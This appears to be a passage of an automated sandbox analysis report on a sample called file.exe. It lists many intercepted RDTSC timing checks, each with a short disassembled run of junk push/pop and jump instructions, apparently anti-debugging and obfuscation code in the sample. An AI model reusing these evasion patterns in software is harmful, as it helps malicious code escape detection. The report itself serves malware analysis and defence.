Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE8C6 second address: 10CE925 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD5B08151ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007FD5B08151EFh 0x00000012 mov ebx, dword ptr [ebp+122D39DFh] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007FD5B08151E8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov edi, 548F872Ah 0x00000039 push 00000000h 0x0000003b mov bx, 25E3h 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 jp 00007FD5B08151E6h 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD9A6 second address: 10CD9B0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD5B0DE62E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CEA66 second address: 10CEA6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CEA6B second address: 10CEA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D08F1 second address: 10D08F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CFB23 second address: 10CFB31 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD5B0DE62E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CFB31 second address: 10CFB35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0A4A second address: 10D0A5D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FD5B0DE62F4h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0A5D second address: 10D0A61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8E5D second address: 10D8E63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D92A7 second address: 10D92B9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c ja 00007FD5B08151E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D92B9 second address: 10D92BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DAD33 second address: 10DAD39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106AA73 second address: 106AA77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E3648 second address: 10E3654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD5B08151E6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E3654 second address: 10E3658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E3658 second address: 10E3683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FD5B08151FDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E3C9A second address: 10E3CC4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007FD5B0DE62FEh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E3CC4 second address: 10E3CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4239 second address: 10E423F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E43BE second address: 10E43C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9DD1 second address: 10E9DEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9DEA second address: 10E9DF1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E881A second address: 10E881F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E896F second address: 10E8973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8B1B second address: 10E8B22 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8C81 second address: 10E8CA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD5B08151EEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD5B08151F3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8CA8 second address: 10E8CAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8CAD second address: 10E8CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8F24 second address: 10E8F4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FD5B0DE62E6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FD5B0DE62F8h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E921C second address: 10E922A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jl 00007FD5B08151E6h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E922A second address: 10E922E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9C66 second address: 10E9C6D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF686 second address: 10EF68B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE352 second address: 10EE36E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jns 00007FD5B08151E8h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE36E second address: 10EE374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE374 second address: 10EE378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE378 second address: 10EE388 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD5B0DE62E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE388 second address: 10EE392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD5B08151E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE690 second address: 10EE6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B0DE62F5h 0x00000009 popad 0x0000000a js 00007FD5B0DE62F2h 0x00000010 js 00007FD5B0DE62E6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE6B8 second address: 10EE6BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE6BC second address: 10EE6C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE960 second address: 10EE96A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD5B08151EEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF33F second address: 10EF349 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD5B0DE62E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF349 second address: 10EF34E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F36F6 second address: 10F36FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067542 second address: 1067546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067546 second address: 106754A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106754A second address: 1067550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCADE second address: 10BCAE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCAE4 second address: 10BCAE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCBAA second address: 10BCBB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD5B0DE62E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD00F second address: 10BD013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD013 second address: 10BD019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD0BD second address: 10BD0C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD15A second address: 10BD160 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD160 second address: 10BD165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD2B3 second address: 10BD2B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD87A second address: 10BD8E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007FD5B08151F7h 0x00000012 push 0000001Eh 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FD5B08151E8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e add dword ptr [ebp+122D2A4Bh], ebx 0x00000034 nop 0x00000035 push eax 0x00000036 push edx 0x00000037 jng 00007FD5B08151E8h 0x0000003d push ecx 0x0000003e pop ecx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDA66 second address: 10BDA6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDC6E second address: 10BDC8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD5B08151F7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F295A second address: 10F296B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B0DE62EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F296B second address: 10F2992 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151EAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FD5B08151ECh 0x00000011 push eax 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2992 second address: 10F2998 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2998 second address: 10F29C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD5B08151EFh 0x0000000e jmp 00007FD5B08151F8h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F309A second address: 10F30A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F31EB second address: 10F31F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB47 second address: 10FCB61 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD5B0DE62E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007FD5B0DE62E6h 0x00000014 jne 00007FD5B0DE62E6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB61 second address: 10FCB6A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB6A second address: 10FCB75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB75 second address: 10FCB79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB79 second address: 10FCB9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FD5B0DE62ECh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c jo 00007FD5B0DE6307h 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007FD5B0DE62E6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFCC6 second address: 10FFCCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFCCC second address: 10FFCD6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD5B0DE62ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF516 second address: 10FF51A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF51A second address: 10FF52A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FD5B0DE62E8h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF99D second address: 10FF9A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF9A1 second address: 10FF9A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF9A7 second address: 10FF9AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF9AD second address: 10FF9CF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD5B0DE62ECh 0x00000008 je 00007FD5B0DE62E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007FD5B0DE62ECh 0x00000018 push ecx 0x00000019 push eax 0x0000001a pop eax 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11061E7 second address: 1106220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B08151F2h 0x00000009 popad 0x0000000a jmp 00007FD5B08151ECh 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD5B08151EFh 0x00000017 push esi 0x00000018 push eax 0x00000019 pop eax 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104B2B second address: 1104B2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104B2F second address: 1104B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104B37 second address: 1104B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104B3F second address: 1104B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD6B7 second address: 10BD72D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B0DE62F4h 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FD5B0DE62E8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov ebx, dword ptr [ebp+124818D2h] 0x0000002d adc ecx, 240053AFh 0x00000033 add eax, ebx 0x00000035 ja 00007FD5B0DE62E9h 0x0000003b xor di, E300h 0x00000040 nop 0x00000041 jmp 00007FD5B0DE62F9h 0x00000046 push eax 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a push edi 0x0000004b pop edi 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105371 second address: 1105389 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FD5B08151F2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105389 second address: 110538F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110538F second address: 110539E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B08151EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110539E second address: 11053B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11053B7 second address: 11053C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105542 second address: 1105553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B0DE62EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105553 second address: 110555E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105F20 second address: 1105F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FD5B0DE62E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109083 second address: 1109087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109087 second address: 1109091 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD5B0DE62E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109091 second address: 1109096 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109096 second address: 11090E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FD5B0DE6305h 0x0000000f jmp 00007FD5B0DE62F1h 0x00000014 jmp 00007FD5B0DE62EEh 0x00000019 jp 00007FD5B0DE62FCh 0x0000001f jmp 00007FD5B0DE62F6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DA28 second address: 110DA34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD5B08151E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110CD15 second address: 110CD1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
